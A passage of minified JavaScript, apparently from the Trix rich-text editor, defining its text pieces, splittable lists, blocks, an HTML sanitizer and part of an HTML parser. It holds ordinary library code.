this.copyWithAttributes(this.attributes.remove(t))},n.prototype.copy=function(){return this.copyWithAttributes(this.attributes)},n.prototype.getAttribute=function(t){return this.attributes.get(t)},n.prototype.getAttributesHash=function(){return this.attributes},n.prototype.getAttributes=function(){return this.attributes.toObject()},n.prototype.getCommonAttributes=function(){var t,e,n;return(n=pieceList.getPieceAtIndex(0))?(t=n.attributes,e=t.getKeys(),pieceList.eachPiece(function(n){return e=t.getKeysCommonToHash(n.attributes),t=t.slice(e)}),t.toObject()):{}},n.prototype.hasAttribute=function(t){return this.attributes.has(t)},n.prototype.hasSameStringValueAsPiece=function(t){return null!=t&&this.toString()===t.toString()},n.prototype.hasSameAttributesAsPiece=function(t){return null!=t&&(this.attributes===t.attributes||this.attributes.isEqualTo(t.attributes))},n.prototype.isBlockBreak=function(){return!1},n.prototype.isEqualTo=function(t){return n.__super__.isEqualTo.apply(this,arguments)||this.hasSameConstructorAs(t)&&this.hasSameStringValueAsPiece(t)&&this.hasSameAttributesAsPiece(t)},n.prototype.isEmpty=function(){return 0===this.length},n.prototype.isSerializable=function(){return!0},n.prototype.toJSON=function(){return{type:this.constructor.type,attributes:this.getAttributes()}},n.prototype.contentsForInspection=function(){return{type:this.constructor.type,attributes:this.attributes.inspect()}},n.prototype.canBeGrouped=function(){return this.hasAttribute("href")},n.prototype.canBeGroupedWith=function(t){return this.getAttribute("href")===t.getAttribute("href")},n.prototype.getLength=function(){return this.length},n.prototype.canBeConsolidatedWith=function(){return!1},n}(i.Object)}.call(this),function(){var t=function(t,n){function i(){this.constructor=t}for(var o in n)e.call(n,o)&&(t[o]=n[o]);return i.prototype=n.prototype,t.prototype=new i,t.__super__=n.prototype,t},e={}.hasOwnProperty;i.Piece.registerType("attachment",i.AttachmentPiece=function(e){function n(t){this.attachment=t,n.__super__.constructor.apply(this,arguments),this.length=1,this.ensureAttachmentExclusivelyHasAttribute("href"),this.attachment.hasContent()||this.removeProhibitedAttributes()}return t(n,e),n.fromJSON=function(t){return new this(i.Attachment.fromJSON(t.attachment),t.attributes)},n.permittedAttributes=["caption","presentation"],n.prototype.ensureAttachmentExclusivelyHasAttribute=function(t){return this.hasAttribute(t)?(this.attachment.hasAttribute(t)||this.attachment.setAttributes(this.attributes.slice(t)),this.attributes=this.attributes.remove(t)):void 0},n.prototype.removeProhibitedAttributes=function(){var t;return(t=this.attributes.slice(this.constructor.permittedAttributes)).isEqualTo(this.attributes)?void 0:this.attributes=t},n.prototype.getValue=function(){return this.attachment},n.prototype.isSerializable=function(){return!this.attachment.isPending()},n.prototype.getCaption=function(){var t;return null!=(t=this.attributes.get("caption"))?t:""},n.prototype.isEqualTo=function(t){var e;return n.__super__.isEqualTo.apply(this,arguments)&&this.attachment.id===(null!=t&&null!=(e=t.attachment)?e.id:void 0)},n.prototype.toString=function(){return i.OBJECT_REPLACEMENT_CHARACTER},n.prototype.toJSON=function(){var t;return(t=n.__super__.toJSON.apply(this,arguments)).attachment=this.attachment,t},n.prototype.getCacheKey=function(){return[n.__super__.getCacheKey.apply(this,arguments),this.attachment.getCacheKey()].join("/")},n.prototype.toConsole=function(){return JSON.stringify(this.toString())},n}(i.Piece))}.call(this),function(){var t,e=function(t,e){function i(){this.constructor=t}for(var o in e)n.call(e,o)&&(t[o]=e[o]);return i.prototype=e.prototype,t.prototype=new i,t.__super__=e.prototype,t},n={}.hasOwnProperty;t=i.normalizeNewlines,i.Piece.registerType("string",i.StringPiece=function(n){function i(e){i.__super__.constructor.apply(this,arguments),this.string=t(e),this.length=this.string.length}return e(i,n),i.fromJSON=function(t){return new this(t.string,t.attributes)},i.prototype.getValue=function(){return this.string},i.prototype.toString=function(){return this.string.toString()},i.prototype.isBlockBreak=function(){return"\n"===this.toString()&&!0===this.getAttribute("blockBreak")},i.prototype.toJSON=function(){var t;return(t=i.__super__.toJSON.apply(this,arguments)).string=this.string,t},i.prototype.canBeConsolidatedWith=function(t){return null!=t&&this.hasSameConstructorAs(t)&&this.hasSameAttributesAsPiece(t)},i.prototype.consolidateWith=function(t){return new this.constructor(this.toString()+t.toString(),this.attributes)},i.prototype.splitAtOffset=function(t){var e,n;return 0===t?(e=null,n=this):t===this.length?(e=this,n=null):(e=new this.constructor(this.string.slice(0,t),this.attributes),n=new this.constructor(this.string.slice(t),this.attributes)),[e,n]},i.prototype.toConsole=function(){var t;return(t=this.string).length>15&&(t=t.slice(0,14)+"…"),JSON.stringify(t.toString())},i}(i.Piece))}.call(this),function(){var t,e=function(t,e){function i(){this.constructor=t}for(var o in e)n.call(e,o)&&(t[o]=e[o]);return i.prototype=e.prototype,t.prototype=new i,t.__super__=e.prototype,t},n={}.hasOwnProperty,o=[].slice;t=i.spliceArray,i.SplittableList=function(n){function i(t){null==t&&(t=[]),i.__super__.constructor.apply(this,arguments),this.objects=t.slice(0),this.length=this.objects.length}var r,s,a;return e(i,n),i.box=function(t){return t instanceof this?t:new this(t)},i.prototype.indexOf=function(t){return this.objects.indexOf(t)},i.prototype.splice=function(){var e;return e=1<=arguments.length?o.call(arguments,0):[],new this.constructor(t.apply(null,[this.objects].concat(o.call(e))))},i.prototype.eachObject=function(t){var e,n,i,o,r,s;for(s=[],n=e=0,i=(r=this.objects).length;i>e;n=++e)o=r[n],s.push(t(o,n));return s},i.prototype.insertObjectAtIndex=function(t,e){return this.splice(e,0,t)},i.prototype.insertSplittableListAtIndex=function(t,e){return this.splice.apply(this,[e,0].concat(o.call(t.objects)))},i.prototype.insertSplittableListAtPosition=function(t,e){var n,i,o;return i=(o=this.splitObjectAtPosition(e))[0],n=o[1],new this.constructor(i).insertSplittableListAtIndex(t,n)},i.prototype.editObjectAtIndex=function(t,e){return this.replaceObjectAtIndex(e(this.objects[t]),t)},i.prototype.replaceObjectAtIndex=function(t,e){return this.splice(e,1,t)},i.prototype.removeObjectAtIndex=function(t){return this.splice(t,1)},i.prototype.getObjectAtIndex=function(t){return this.objects[t]},i.prototype.getSplittableListInRange=function(t){var e,n,i,o;return n=(i=this.splitObjectsAtRange(t))[0],e=i[1],o=i[2],new this.constructor(n.slice(e,o+1))},i.prototype.selectSplittableList=function(t){var e,n;return n=function(){var n,i,o,r;for(r=[],n=0,i=(o=this.objects).length;i>n;n++)e=o[n],t(e)&&r.push(e);return r}.call(this),new this.constructor(n)},i.prototype.removeObjectsInRange=function(t){var e,n,i,o;return n=(i=this.splitObjectsAtRange(t))[0],e=i[1],o=i[2],new this.constructor(n).splice(e,o-e+1)},i.prototype.transformObjectsInRange=function(t,e){var n,i,o,r,s,a,u;return s=this.splitObjectsAtRange(t),r=s[0],i=s[1],a=s[2],u=function(){var t,s,u;for(u=[],n=t=0,s=r.length;s>t;n=++t)o=r[n],u.push(n>=i&&a>=n?e(o):o);return u}(),new this.constructor(u)},i.prototype.splitObjectsAtRange=function(t){var e,n,i,o,s;return n=(o=this.splitObjectAtPosition(a(t)))[0],e=o[1],i=o[2],[n=(s=new this.constructor(n).splitObjectAtPosition(r(t)+i))[0],e,s[1]-1]},i.prototype.getObjectAtPosition=function(t){var e,n;return e=(n=this.findIndexAndOffsetAtPosition(t)).index,n.offset,this.objects[e]},i.prototype.splitObjectAtPosition=function(t){var e,n,i,o,r,s,a,u,c;return e=(r=this.findIndexAndOffsetAtPosition(t)).index,o=r.offset,i=this.objects.slice(0),null!=e?0===o?(u=e,c=0):(n=(s=this.getObjectAtIndex(e).splitAtOffset(o))[0],a=s[1],i.splice(e,1,n,a),u=e+1,c=n.getLength()-o):(u=i.length,c=0),[i,u,c]},i.prototype.consolidate=function(){var t,e,n,i,o,r;for(i=[],o=this.objects[0],t=0,e=(r=this.objects.slice(1)).length;e>t;t++)n=r[t],("function"==typeof o.canBeConsolidatedWith?o.canBeConsolidatedWith(n):void 0)?o=o.consolidateWith(n):(i.push(o),o=n);return null!=o&&i.push(o),new this.constructor(i)},i.prototype.consolidateFromIndexToIndex=function(t,e){var n,i;return i=this.objects.slice(0).slice(t,e+1),n=new this.constructor(i).consolidate().toArray(),this.splice.apply(this,[t,i.length].concat(o.call(n)))},i.prototype.findIndexAndOffsetAtPosition=function(t){var e,n,i,o,r,s;for(e=0,i=n=0,o=(s=this.objects).length;o>n;i=++n){if(r=e+s[i].getLength(),t>=e&&r>t)return{index:i,offset:t-e};e=r}return{index:null,offset:null}},i.prototype.findPositionAtIndexAndOffset=function(t,e){var n,i,o,r,s,a;for(s=0,n=i=0,o=(a=this.objects).length;o>i;n=++i)if(r=a[n],t>n)s+=r.getLength();else if(n===t){s+=e;break}return s},i.prototype.getEndPosition=function(){var t,e;return null!=this.endPosition?this.endPosition:this.endPosition=function(){var n,i,o;for(e=0,n=0,i=(o=this.objects).length;i>n;n++)t=o[n],e+=t.getLength();return e}.call(this)},i.prototype.toString=function(){return this.objects.join("")},i.prototype.toArray=function(){return this.objects.slice(0)},i.prototype.toJSON=function(){return this.toArray()},i.prototype.isEqualTo=function(t){return i.__super__.isEqualTo.apply(this,arguments)||s(this.objects,null!=t?t.objects:void 0)},s=function(t,e){var n,i,o,r,s;if(null==e&&(e=[]),t.length!==e.length)return!1;for(s=!0,i=n=0,o=t.length;o>n;i=++n)r=t[i],s&&!r.isEqualTo(e[i])&&(s=!1);return s},i.prototype.contentsForInspection=function(){var t;return{objects:"["+function(){var e,n,i,o;for(o=[],e=0,n=(i=this.objects).length;n>e;e++)t=i[e],o.push(t.inspect());return o}.call(this).join(", ")+"]"}},a=function(t){return t[0]},r=function(t){return t[1]},i}(i.Object)}.call(this),function(){var t=function(t,n){function i(){this.constructor=t}for(var o in n)e.call(n,o)&&(t[o]=n[o]);return i.prototype=n.prototype,t.prototype=new i,t.__super__=n.prototype,t},e={}.hasOwnProperty;i.Text=function(e){function n(t){var e;null==t&&(t=[]),n.__super__.constructor.apply(this,arguments),this.pieceList=new i.SplittableList(function(){var n,i,o;for(o=[],n=0,i=t.length;i>n;n++)(e=t[n]).isEmpty()||o.push(e);return o}())}return t(n,e),n.textForAttachmentWithAttributes=function(t,e){return new this([new i.AttachmentPiece(t,e)])},n.textForStringWithAttributes=function(t,e){return new this([new i.StringPiece(t,e)])},n.fromJSON=function(t){var e;return new this(function(){var n,o,r;for(r=[],n=0,o=t.length;o>n;n++)e=t[n],r.push(i.Piece.fromJSON(e));return r}())},n.prototype.copy=function(){return this.copyWithPieceList(this.pieceList)},n.prototype.copyWithPieceList=function(t){return new this.constructor(t.consolidate().toArray())},n.prototype.copyUsingObjectMap=function(t){var e,n;return n=function(){var n,i,o,r,s;for(s=[],n=0,i=(o=this.getPieces()).length;i>n;n++)e=o[n],s.push(null!=(r=t.find(e))?r:e);return s}.call(this),new this.constructor(n)},n.prototype.appendText=function(t){return this.insertTextAtPosition(t,this.getLength())},n.prototype.insertTextAtPosition=function(t,e){return this.copyWithPieceList(this.pieceList.insertSplittableListAtPosition(t.pieceList,e))},n.prototype.removeTextAtRange=function(t){return this.copyWithPieceList(this.pieceList.removeObjectsInRange(t))},n.prototype.replaceTextAtRange=function(t,e){return this.removeTextAtRange(e).insertTextAtPosition(t,e[0])},n.prototype.moveTextFromRangeToPosition=function(t,e){var n,i;if(!(t[0]<=e&&e<=t[1]))return n=(i=this.getTextAtRange(t)).getLength(),t[0]<e&&(e-=n),this.removeTextAtRange(t).insertTextAtPosition(i,e)},n.prototype.addAttributeAtRange=function(t,e,n){var i;return(i={})[t]=e,this.addAttributesAtRange(i,n)},n.prototype.addAttributesAtRange=function(t,e){return this.copyWithPieceList(this.pieceList.transformObjectsInRange(e,function(e){return e.copyWithAdditionalAttributes(t)}))},n.prototype.removeAttributeAtRange=function(t,e){return this.copyWithPieceList(this.pieceList.transformObjectsInRange(e,function(e){return e.copyWithoutAttribute(t)}))},n.prototype.setAttributesAtRange=function(t,e){return this.copyWithPieceList(this.pieceList.transformObjectsInRange(e,function(e){return e.copyWithAttributes(t)}))},n.prototype.getAttributesAtPosition=function(t){var e,n;return null!=(e=null!=(n=this.pieceList.getObjectAtPosition(t))?n.getAttributes():void 0)?e:{}},n.prototype.getCommonAttributes=function(){var t,e;return t=function(){var t,n,i,o;for(o=[],t=0,n=(i=this.pieceList.toArray()).length;n>t;t++)e=i[t],o.push(e.getAttributes());return o}.call(this),i.Hash.fromCommonAttributesOfObjects(t).toObject()},n.prototype.getCommonAttributesAtRange=function(t){var e;return null!=(e=this.getTextAtRange(t).getCommonAttributes())?e:{}},n.prototype.getExpandedRangeForAttributeAtOffset=function(t,e){var n,i,o;for(n=o=e,i=this.getLength();n>0&&this.getCommonAttributesAtRange([n-1,o])[t];)n--;for(;i>o&&this.getCommonAttributesAtRange([e,o+1])[t];)o++;return[n,o]},n.prototype.getTextAtRange=function(t){return this.copyWithPieceList(this.pieceList.getSplittableListInRange(t))},n.prototype.getStringAtRange=function(t){return this.pieceList.getSplittableListInRange(t).toString()},n.prototype.getStringAtPosition=function(t){return this.getStringAtRange([t,t+1])},n.prototype.startsWithString=function(t){return this.getStringAtRange([0,t.length])===t},n.prototype.endsWithString=function(t){var e;return e=this.getLength(),this.getStringAtRange([e-t.length,e])===t},n.prototype.getAttachmentPieces=function(){var t,e,n,i,o;for(o=[],t=0,e=(i=this.pieceList.toArray()).length;e>t;t++)null!=(n=i[t]).attachment&&o.push(n);return o},n.prototype.getAttachments=function(){var t,e,n,i,o;for(o=[],t=0,e=(i=this.getAttachmentPieces()).length;e>t;t++)n=i[t],o.push(n.attachment);return o},n.prototype.getAttachmentAndPositionById=function(t){var e,n,i,o,r,s;for(o=0,e=0,n=(r=this.pieceList.toArray()).length;n>e;e++){if((null!=(s=(i=r[e]).attachment)?s.id:void 0)===t)return{attachment:i.attachment,position:o};o+=i.length}return{attachment:null,position:null}},n.prototype.getAttachmentById=function(t){var e,n;return e=(n=this.getAttachmentAndPositionById(t)).attachment,n.position,e},n.prototype.getRangeOfAttachment=function(t){var e,n;return t=(n=this.getAttachmentAndPositionById(t.id)).attachment,e=n.position,null!=t?[e,e+1]:void 0},n.prototype.updateAttributesForAttachment=function(t,e){var n;return(n=this.getRangeOfAttachment(e))?this.addAttributesAtRange(t,n):this},n.prototype.getLength=function(){return this.pieceList.getEndPosition()},n.prototype.isEmpty=function(){return 0===this.getLength()},n.prototype.isEqualTo=function(t){var e;return n.__super__.isEqualTo.apply(this,arguments)||(null!=t&&null!=(e=t.pieceList)?e.isEqualTo(this.pieceList):void 0)},n.prototype.isBlockBreak=function(){return 1===this.getLength()&&this.pieceList.getObjectAtIndex(0).isBlockBreak()},n.prototype.eachPiece=function(t){return this.pieceList.eachObject(t)},n.prototype.getPieces=function(){return this.pieceList.toArray()},n.prototype.getPieceAtPosition=function(t){return this.pieceList.getObjectAtPosition(t)},n.prototype.contentsForInspection=function(){return{pieceList:this.pieceList.inspect()}},n.prototype.toSerializableText=function(){var t;return t=this.pieceList.selectSplittableList(function(t){return t.isSerializable()}),this.copyWithPieceList(t)},n.prototype.toString=function(){return this.pieceList.toString()},n.prototype.toJSON=function(){return this.pieceList.toJSON()},n.prototype.toConsole=function(){var t;return JSON.stringify(function(){var e,n,i,o;for(o=[],e=0,n=(i=this.pieceList.toArray()).length;n>e;e++)t=i[e],o.push(JSON.parse(t.toConsole()));return o}.call(this))},n}(i.Object)}.call(this),function(){var t,e,n,o,r=function(t,e){function n(){this.constructor=t}for(var i in e)s.call(e,i)&&(t[i]=e[i]);return n.prototype=e.prototype,t.prototype=new n,t.__super__=e.prototype,t},s={}.hasOwnProperty,a=[].indexOf||function(t){for(var e=0,n=this.length;n>e;e++)if(e in this&&this[e]===t)return e;return-1},u=[].slice;t=i.arraysAreEqual,o=i.spliceArray,e=i.getBlockConfig,i.getBlockAttributeNames,n=i.getListAttributeNames,i.Block=function(s){function c(t,e){null==t&&(t=new i.Text),null==e&&(e=[]),c.__super__.constructor.apply(this,arguments),this.text=h(t),this.attributes=e}var l,h,p,d,f,g,m,y,v;return r(c,s),c.fromJSON=function(t){return new this(i.Text.fromJSON(t.text),t.attributes)},c.prototype.isEmpty=function(){return this.text.isBlockBreak()},c.prototype.isEqualTo=function(e){return c.__super__.isEqualTo.apply(this,arguments)||this.text.isEqualTo(null!=e?e.text:void 0)&&t(this.attributes,null!=e?e.attributes:void 0)},c.prototype.copyWithText=function(t){return new this.constructor(t,this.attributes)},c.prototype.copyWithoutText=function(){return this.copyWithText(null)},c.prototype.copyWithAttributes=function(t){return new this.constructor(this.text,t)},c.prototype.copyWithoutAttributes=function(){return this.copyWithAttributes(null)},c.prototype.copyUsingObjectMap=function(t){var e;return this.copyWithText((e=t.find(this.text))?e:this.text.copyUsingObjectMap(t))},c.prototype.addAttribute=function(t){var e;return e=this.attributes.concat(d(t)),this.copyWithAttributes(e)},c.prototype.removeAttribute=function(t){var n,i;return i=e(t).listAttribute,n=g(g(this.attributes,t),i),this.copyWithAttributes(n)},c.prototype.removeLastAttribute=function(){return this.removeAttribute(this.getLastAttribute())},c.prototype.getLastAttribute=function(){return f(this.attributes)},c.prototype.getAttributes=function(){return this.attributes.slice(0)},c.prototype.getAttributeLevel=function(){return this.attributes.length},c.prototype.getAttributeAtLevel=function(t){return this.attributes[t-1]},c.prototype.hasAttribute=function(t){return a.call(this.attributes,t)>=0},c.prototype.hasAttributes=function(){return this.getAttributeLevel()>0},c.prototype.getLastNestableAttribute=function(){return f(this.getNestableAttributes())},c.prototype.getNestableAttributes=function(){var t,n,i,o,r;for(r=[],n=0,i=(o=this.attributes).length;i>n;n++)t=o[n],e(t).nestable&&r.push(t);return r},c.prototype.getNestingLevel=function(){return this.getNestableAttributes().length},c.prototype.decreaseNestingLevel=function(){var t;return(t=this.getLastNestableAttribute())?this.removeAttribute(t):this},c.prototype.increaseNestingLevel=function(){var t,e,n;return(t=this.getLastNestableAttribute())?(n=this.attributes.lastIndexOf(t),e=o.apply(null,[this.attributes,n+1,0].concat(u.call(d(t)))),this.copyWithAttributes(e)):this},c.prototype.getListItemAttributes=function(){var t,n,i,o,r;for(r=[],n=0,i=(o=this.attributes).length;i>n;n++)t=o[n],e(t).listAttribute&&r.push(t);return r},c.prototype.isListItem=function(){var t;return null!=(t=e(this.getLastAttribute()))?t.listAttribute:void 0},c.prototype.isTerminalBlock=function(){var t;return null!=(t=e(this.getLastAttribute()))?t.terminal:void 0},c.prototype.breaksOnReturn=function(){var t;return null!=(t=e(this.getLastAttribute()))?t.breakOnReturn:void 0},c.prototype.findLineBreakInDirectionFromPosition=function(t,e){var n,i;return i=this.toString(),-1!==(n=function(){switch(t){case"forward":return i.indexOf("\n",e);case"backward":return i.slice(0,e).lastIndexOf("\n")}}())?n:void 0},c.prototype.contentsForInspection=function(){return{text:this.text.inspect(),attributes:this.attributes}},c.prototype.toString=function(){return this.text.toString()},c.prototype.toJSON=function(){return{text:this.text,attributes:this.attributes}},c.prototype.getLength=function(){return this.text.getLength()},c.prototype.canBeConsolidatedWith=function(t){return!this.hasAttributes()&&!t.hasAttributes()},c.prototype.consolidateWith=function(t){var e,n;return e=i.Text.textForStringWithAttributes("\n"),n=this.getTextWithoutBlockBreak().appendText(e),this.copyWithText(n.appendText(t.text))},c.prototype.splitAtOffset=function(t){var e,n;return 0===t?(e=null,n=this):t===this.getLength()?(e=this,n=null):(e=this.copyWithText(this.text.getTextAtRange([0,t])),n=this.copyWithText(this.text.getTextAtRange([t,this.getLength()]))),[e,n]},c.prototype.getBlockBreakPosition=function(){return this.text.getLength()-1},c.prototype.getTextWithoutBlockBreak=function(){return m(this.text)?this.text.getTextAtRange([0,this.getBlockBreakPosition()]):this.text.copy()},c.prototype.canBeGrouped=function(t){return this.attributes[t]},c.prototype.canBeGroupedWith=function(t,i){var o,r,s,u;return r=(s=t.getAttributes())[i],(o=this.attributes[i])===r&&!(!1===e(o).group&&(u=s[i+1],a.call(n(),u)<0))},h=function(t){return t=v(t),l(t)},v=function(t){var e,n,o,r,s,a;return r=!1,a=t.getPieces(),n=2<=a.length?u.call(a,0,e=a.length-1):(e=0,[]),null==(o=a[e++])?t:(n=function(){var t,e,i;for(i=[],t=0,e=n.length;e>t;t++)(s=n[t]).isBlockBreak()?(r=!0,i.push(y(s))):i.push(s);return i}(),r?new i.Text(u.call(n).concat([o])):t)},p=i.Text.textForStringWithAttributes("\n",{blockBreak:!0}),l=function(t){return m(t)?t:t.appendText(p)},m=function(t){var e;return 0!==(e=t.getLength())&&t.getTextAtRange([e-1,e]).isBlockBreak()},y=function(t){return t.copyWithoutAttribute("blockBreak")},d=function(t){var n;return null!=(n=e(t).listAttribute)?[n,t]:[t]},f=function(t){return t.slice(-1)[0]},g=function(t,e){var n;return-1===(n=t.lastIndexOf(e))?t:o(t,n,1)},c}(i.Object)}.call(this),function(){var t,e,n,o=function(t,e){function n(){this.constructor=t}for(var i in e)r.call(e,i)&&(t[i]=e[i]);return n.prototype=e.prototype,t.prototype=new n,t.__super__=e.prototype,t},r={}.hasOwnProperty,s=[].slice,a=[].indexOf||function(t){for(var e=0,n=this.length;n>e;e++)if(e in this&&this[e]===t)return e;return-1};e=i.tagName,n=i.walkTree,t=i.nodeIsAttachmentElement,i.HTMLSanitizer=function(r){function u(t,e){this.allowedAttributes=(null!=e?e:{}).allowedAttributes,null==this.allowedAttributes&&(this.allowedAttributes=c),this.body=l(t)}var c,l,h;return o(u,r),c="style href src width height class".split(" "),u.sanitize=function(t,e){var n;return(n=new this(t,e)).sanitize(),n},u.prototype.sanitize=function(){return this.sanitizeElements(),this.normalizeListElementNesting()},u.prototype.getHTML=function(){return this.body.innerHTML},u.prototype.getBody=function(){return this.body},u.prototype.sanitizeElements=function(){var t,e,o,r,s;for(s=n(this.body),r=[];s.nextNode();)switch(o=s.currentNode,o.nodeType){case Node.ELEMENT_NODE:h(o)?r.push(o):this.sanitizeElement(o);break;case Node.COMMENT_NODE:r.push(o)}for(t=0,e=r.length;e>t;t++)o=r[t],i.removeNode(o);return this.body},u.prototype.sanitizeElement=function(t){var e,n,i,o;for(e=0,n=(o=s.call(t.attributes)).length;n>e;e++)i=o[e].name,a.call(this.allowedAttributes,i)>=0||0===i.indexOf("data-trix")||t.removeAttribute(i);return t},u.prototype.normalizeListElementNesting=function(){var t,n,i,o,r;for(t=0,n=(r=s.call(this.body.querySelectorAll("ul,ol"))).length;n>t;t++)(o=(i=r[t]).previousElementSibling)&&"li"===e(o)&&o.appendChild(i);return this.body},h=function(n){return(null!=n?n.nodeType:void 0)!==Node.ELEMENT_NODE||t(n)?void 0:"script"===e(n)||"false"===n.getAttribute("data-trix-serialize")},l=function(t){var e,n,i,o,r;for(null==t&&(t=""),t=t.replace(/<\/html[^>]*>[^]*$/i,"</html>"),(e=document.implementation.createHTMLDocument("")).documentElement.innerHTML=t,i=0,o=(r=e.head.querySelectorAll("style")).length;o>i;i++)n=r[i],e.body.appendChild(n);return e.body},u}(i.BasicObject)}.call(this),function(){var t,e,n,o,r,s,a,u,c,l,h,p=function(t,e){function n(){this.constructor=t}for(var i in e)d.call(e,i)&&(t[i]=e[i]);return n.prototype=e.prototype,t.prototype=new n,t.__super__=e.prototype,t},d={}.hasOwnProperty,f=[].indexOf||function(t){for(var e=0,n=this.length;n>e;e++)if(e in this&&this[e]===t)return e;return-1};t=i.arraysAreEqual,s=i.makeElement,l=i.tagName,r=i.getBlockTagNames,h=i.walkTree,o=i.findClosestElementFromNode,n=i.elementContainsNode,a=i.nodeIsAttachmentElement,u=i.normalizeSpaces,e=i.breakableWhitespacePattern,c=i.squishBreakableWhitespace,i.HTMLParser=function(d){function g(t,e){this.html=t,this.referenceElement=(null!=e?e:{}).referenceElement,this.blocks=[],this.blockElements=[],this.processedElements=[]}var m,y,v,b,A,C,x,w,E,S,R,k;return p(g,d),g.parse=function(t,e){var n;return(n=new this(t,e)).parse(),n},g.prototype.getDocument=function(){return i.Document.fromJSON(this.blocks)},g.prototype.parse=function(){var t,e;try{for(this.createHiddenContainer(),t=i.HTMLSanitizer.sanitize(this.html).getHTML(),this.containerElement.innerHTML=t,e=h(this.containerElement,{usingFilter:w});e.nextNode();)this.processNode(e.currentNode);return this.translateBlockElementMarginsToNewlines()}finally{this.removeHiddenContainer()}},g.prototype.createHiddenContainer=function(){return this.referenceElement?(this.containerElement=this.referenceElement.cloneNode(!1),this.containerElement.removeAttribute("id"),this.containerElement.setAttribute("data-trix-internal",""),this.containerElement.style.display="none",this.referenceElement.parentNode.insertBefore(this.containerElement,this.referenceElement.nextSibling)):(this.containerElement=s({tagName:"div",style:{display:"none"}}),document.body.appendChild(this.containerElement))},g.prototype.removeHiddenContainer=function(){return i.removeNode(this.containerElement)},w=function(t){return"style"===l(t)?NodeFilter.FILTER_REJECT:NodeFilter.FILTER_ACCEPT},g.prototype.processNode=function(t){switch(t.nodeType){case Node.TEXT_NODE:return this.processTextNode(t);case Node.ELEMENT_NODE:return this.appendBlockForElement(t),this.processElement(t)}},g.prototype.appendBlockForElement=function(e){var i,o,r,s;if(r=this.isBlockElement(e),o=n(this.currentBlockElement,e),r&&!this.isBlockElement(e.firstChild)){if(!(this.isInsignificantTextNode(e.firstChild)&&this.isBlockElement(e.firstElementChild)||(i=this.getBlockAttributes(e),o&&t(i,this.currentBlock.attributes))))return this.currentBlock=this.appendBlockForAttributesWithElement(i,e),this.currentBlockElement=e}else if(this.currentBlockElement&&!o&&!r)return(s=this.findParentBlockElement(e))?this.appendBlockForElement(s):(this.currentBlock=this.appendEmptyBlock(),this.currentBlockElement=null)},g.prototype.findParentBlockElement=function(t){var e;for(e=t.parentElement;e&&e!==this.containerElement;){if(this.isBlockElement(e)&&f.call(this.blockElements,e)>=0)return e;e=e.parentElement}return null},g.prototype.processTextNode=function(t){var e,n;return this.isInsignificantTextNode(t)?void 0:(n=t.data,y(t.parentNode)||(n=c(n),R(null!=(e=t.previousSibling)?e.textContent:void 0)&&(n=C(n))),this.appendStringWithAttributes(n,this.getTextAttributes(t.parentNode)))},g.prototype.processElement=function(t){var e,n,i,o,r;if(a(t))return e=v(t),Object.keys(e).length&&(o=this.getTextAttributes(t),this.appendAttachmentWithAttributes(e,o),t.innerHTML=""),this.processedElements.push(t);switch(l(t)){case"br":return this.isExtraBR(t)||this.isBlockElement(t.nextSibling)||this.appendStringWithAttributes("\n",this.getTextAttributes(t)),this.processedElements.push(t);case"img":for(n in e={url:t.getAttribute("src"),contentType:"image"},i=A(t))r=i[n],e[n]=r;return this.appendAttachmentWithAttributes(e,this.getTextAttributes(t)),this.processedElements.push(t);case"tr":if(t.parentNode.firstChild!==t)return this.appendStringWithAttributes("\n");break;case"td":if(t.parentNode.firstChild!==t)return this.appendStringWithAttributes(" | ")}},g.prototype.appendBlockForAttributesWithElement=function(t,e){var n;return this.blockElements.push(e),n=m(t),this.blocks.push(n),n},g.prototype.appendEmptyBlock=function(){return this.appendBlockForAttributesWithElement([],null)},g.prototype.appendStringWithAttributes=function(t,e){return this.appendPiece(S(t,e))},g.prototype.appendAttachmentWithAttributes=function(t,e){return this.appendPiece(E(t,e))},g.prototype.appendPiece=function(t){return 0===this.blocks.length&&this.appendEmptyBlock(),this.blocks[this.blocks.length-1].text.push(t)},g.prototype.appendStringToTextAtIndex=function(t,e){var n,i;return"string"===(null!=(n=(i=this.blocks[e].text)[i.length-1])?n.type:void 0)?n.string+=t:i.push(S(t))},g.prototype.prependStringToTextAtIndex=function(t,e){var n,i;return"string"===(null!=(n=(i=this.blocks[e].text)[0])?n.type:void 0)?n.string=t+n.string:i.unshift(S(t))},S=function(t,e){return null==e&&(e={}),"string",{string:t=u(t),attributes:e,type:"string"}},E=function(t,e){return null==e&&(e={}),"attachment",{attachment:t,attributes:e,type:"attachment"}},m=function(t){return null==t&&(t={}),{text:[],attributes:t}},g.prototype.getTextAttributes=function(t){var e,n,r,s,u,c,l,h,p,d,f,g,m;for(e in r={},d=i.config.textAttributes)if((u=d[e]).tagName&&o(t,{matchingSelector:u.tagName,untilNode:this.containerElement}))r[e]=!0;else if(u.parser){if(m=u.parser(t)){for(n=!1,c=0,p=(f=this.findBlockElementAncestors(t)).length;p>c;c++)if(s=f[c],u.parser(s)===m){n=!0;break}n||(r[e]=m)}}else u.styleProperty&&(m=t.style[u.styleProperty])&&(r[e]=m);if(a(t)&&(l=t.getAttribute("data-trix-attributes")))for(h in g=JSON.parse(l))m=g[h],r[h]=m;return r},g.prototype.getBlockAttributes=function(t){var e,n,o,r;for(n=[];t&&t!==this.containerElement;){for(e in r=i.config.blockAttributes)!1!==(o=r[e]).parse&&l(t)===o.tagName&&(("function"==typeof o.test?o.test(t):void 0)||!o.test)&&(n.push(e),o.listAttribute&&n.push(o.listAttribute));t=t.parentNode}return n.reverse()},g.prototype.findBlockElementAncestors=function(t){var e,n;for(e=[];t&&t!==this.containerElement;)n=l(t),f.call(r(),n)>=0&&e.push(t),t=t.parentNode;return e},v=function(t){return JSON.parse(t.getAttribute("data-trix-attachment"))},A=function(t){var e,n,i;return i=t.getAttribute("width"),n=t.getAttribute("height"),e={},i&&(e.width=parseInt(i,10)),n&&(e.height=parseInt(n,10)),e},g.prototype.isBlockElement=function(t){var e;if((null!=t?t.nodeType:void 0)===Node.ELEMENT_NODE&&!a(t)&&!o(t,{matchingSelector:"td",untilNode:this.containerElement}))return e=l(t),f.call(r(),e)>=0||"block"===window.getComputedStyle(t).display},g.prototype.isInsignificantTextNode=function(t){var e,n,i;if((null!=t?t.nodeType:void 0)===Node.TEXT_NODE&&k(t.data)&&(n=t.parentNode,i=t.previousSibling,e=t.nextSibling,(!x(n.previousSibling)||this.isBlockElement(n.previousSibling))&&!y(n)))return!i||this.isBlockElement(i)||!e||this.isBlockElement(e)},g.prototype.isExtraBR=function(t){return"br"===l(t)&&this.isBlockElement(t.parentNode)&&t.parentNode.lastChild===t},y=function(t){var 